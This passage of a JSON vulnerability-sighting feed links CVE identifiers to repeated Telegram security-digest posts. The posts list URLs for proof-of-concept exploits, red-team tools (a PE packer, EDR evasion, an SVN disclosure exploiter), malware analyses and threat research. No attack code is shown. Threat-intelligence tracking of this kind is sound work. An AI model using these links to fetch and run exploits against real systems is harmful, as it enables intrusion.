(CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-12T00:00:44.505141Z"}, {"uuid": "dec79227-712e-4ff4-9149-abcce6d767e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-12T00:00:44.762479Z"}, {"uuid": "398cdd36-d363-4697-a44c-9ccb41d07484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-12T00:00:44.806810Z"}, {"uuid": "d181729b-9fa8-411c-ae06-67705cbc6a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-12T00:00:44.853335Z"}, {"uuid": "b1e66173-b666-42ba-847a-37a4f6d93d2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-12T00:00:45.044375Z"}, {"uuid": "d95bd21d-45ab-4f2e-9525-1d1421abe5fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-12T00:00:45.090000Z"}, {"uuid": "6330dca1-6790-458b-ac7d-494fbe7e4589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-12T00:00:45.142298Z"}, {"uuid": "7009ca57-ca62-4548-ae3f-55ab8858e810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-12T00:00:48.330267Z"}, {"uuid": "100a86ae-3342-40a7-99c5-df1fbde0bf8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-12T00:00:48.418234Z"}, {"uuid": "c837cb75-2877-4cfc-9896-ea9ce88e849d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28321", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-12T00:00:46.964284Z"}, {"uuid": "9bb5cd52-50f2-4d60-98cb-48008bfe9fc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28322", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-12T00:00:47.019673Z"}, {"uuid": "f0c75861-fdde-4261-a9c2-d3b5ddf069b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28313", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-12T00:00:47.074930Z"}, {"uuid": "dffbf50e-0578-4931-bd68-2735ae4b79f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-12T00:00:48.200640Z"}, {"uuid": "47789ecb-17f3-4a17-98be-4ecccd2a7407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-12T00:00:47.983652Z"}, {"uuid": "0b9410e1-d193-4906-8fd1-59f8b982e981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-12T00:00:48.117701Z"}, {"uuid": "8ab9f468-8f9c-4ca7-a5b8-d44900bf256c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-12T00:00:48.237528Z"}, {"uuid": "9c0c2de4-0d9e-4d6b-8407-a60e7907383e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28312", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3148", "content": "CVE-2021-1815:\nmacOS Local Privilege Escalation Via Preferences (PoC)\nhttps://www.offensive-security.com/offsec/macos-preferences-priv-escalation/?utm_content=165476462&utm_medium=social&utm_source=twitter&hss_channel=tw-134994790\n]-> Compromising the macOS Kernel through Safari by Chaining Six \ud83e\udd2aVulnerabilities (code):\nhttps://github.com/sslab-gatech/pwn2own2020\n\nThreat Research\n1. Data Only Attack:\nNeutralizing EtwTi Provider\nhttps://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider\n2. Unauthorized access to Facebook environment\ud83d\udc4d\ud83c\udffd\nhttps://mvinni.medium.com/workplace-by-facebook-unauthorized-access-to-companies-environment-27-5k-a593a57092f1\n\nexploit\nCVE-2021-28312:\nWindows 10 1809/1909/2004/20H2, Server 2019 - NTFS DoS Vulnerability (PoC)\nhttps://github.com/shubham0d/CVE-2021-28312", "creation_timestamp": "2026-09-12T00:00:49.357526Z"}, {"uuid": "efd0960e-5b5f-47fd-bb1a-cfc356eaa873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3314", "content": "Threat Research\n1. Threats from Readme:\nSuspected years of supply chain attack analysis\nhttps://security.tencent.com/index.php/blog/msg/192\n2. PoC for CVE-2021-28476 a guest-to-host\n\"Hyper-V RCE Vulnerability\" in vmswitch.sys\nhttps://github.com/0vercl0k/CVE-2021-28476\n\n\n-", "creation_timestamp": "2026-09-12T00:00:51.742715Z"}, {"uuid": "5cece3ce-64f1-4524-aa67-1112d1d9ca33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28091", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3331", "content": "Malware analysis\n1. Hex-Rays, GetProcAddress, and Malware Analysis\nhttps://www.msreverseengineering.com/blog/2021/6/1/hex-rays-getprocaddress-and-malware-analysis\n2. Kimsuky APT continues to target South Korean government using AppleSeed backdoor\nhttps://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor\n\nSCADA Security\nMultiple Critical Vulnerabilities in Korenix Technology, Westermo and Pepperl+Fuchs products\nhttps://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-korenix-technology-westermo-pepperl-fuchs\n// Products affected include JetNet 5428G-20SFP, 5810G, 4706F, 4706, 4510, 5010, 5310, 6095\n]-> PoC:\nhttps://packetstormsecurity.com/files/162903/SA-20210601-0.txt\n\nFinding Memory Bugs with Google Address Sanitizer (ASAN) on Microcontrollers\nhttps://mcuoneclipse.com/2021/05/31/finding-memory-bugs-with-google-address-sanitizer-asan-on-microcontrollers\n\nThreat Research\n1. Technical analysis of two RCE in Grav CMS 1.7.10 (CVE-2021-29439, CVE-2021-29440)\nhttps://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n2. Akamai EAA Impersonation Vulnerability\n(PoC for CVE-2021-28091)\nhttps://blogs.akamai.com/2021/06/akamai-eaa-impersonation-vulnerability---a-deep-dive.html\n\nApple ROM/BootROM Collection\nhttp://securerom.fun", "creation_timestamp": "2026-09-12T00:00:52.761198Z"}, {"uuid": "f66f4944-32df-457d-a687-970346ac0f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3694", "content": "Red Team Tactics\n1. Open-Source PE Packer\nhttps://iwantmore.pizza/posts/PEzor4.html\n]-> https://github.com/phra/PEzor\n2. XNU IPC - Mach messages\nhttps://dmcyk.xyz/post/xnu_ipc_i_mach_messages\n3. Avoiding Fork&Run .NET Execution With InlineExecute-Assembly\nhttps://securityintelligence.com/posts/net-execution-inlineexecute-assembly\n]-> Beacon Object File PoC:\nhttps://github.com/xforcered/InlineExecute-Assembly\n\nBlue Team Techniques\nAPI Security Need to Know:\nTop 5 Authentication Pitfalls\nhttps://www.cequence.ai/blog/api-security-need-to-know-top-5-authentication-pitfalls\n\nThreat Research\nCVE-2021-28474:\nSharePoint RCE via Server-Side Control Interpretation Conflict\nhttps://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict\n\nCloud Security\nREST API Fuzz Testing (RAFT):\nSource code for self-hosted service developed for Azure, including the API, orchestration engine, and default set of security tools (including MSR's RESTler), that enables developers to embed security tooling into their CI/CD workflows\nhttps://github.com/microsoft/rest-api-fuzz-testing", "creation_timestamp": "2026-09-12T00:00:56.901196Z"}, {"uuid": "aa009318-5e06-4a24-90cf-7fad64afcbcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "Telegram/ZDsKk6umJ3OlCagGo0wD54oo8d8XbKXnBjolAPHYcDQ0RXY", "content": "", "creation_timestamp": "2026-09-14T03:00:11.968601Z"}, {"uuid": "a9201474-c2d2-47fa-998a-653abff86cd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "Telegram/ZDsKk6umJ3OlCagGo0wD54oo8d8XbKXnBjolAPHYcDQ0RXY", "content": "", "creation_timestamp": "2026-09-15T00:00:23.776490Z"}]}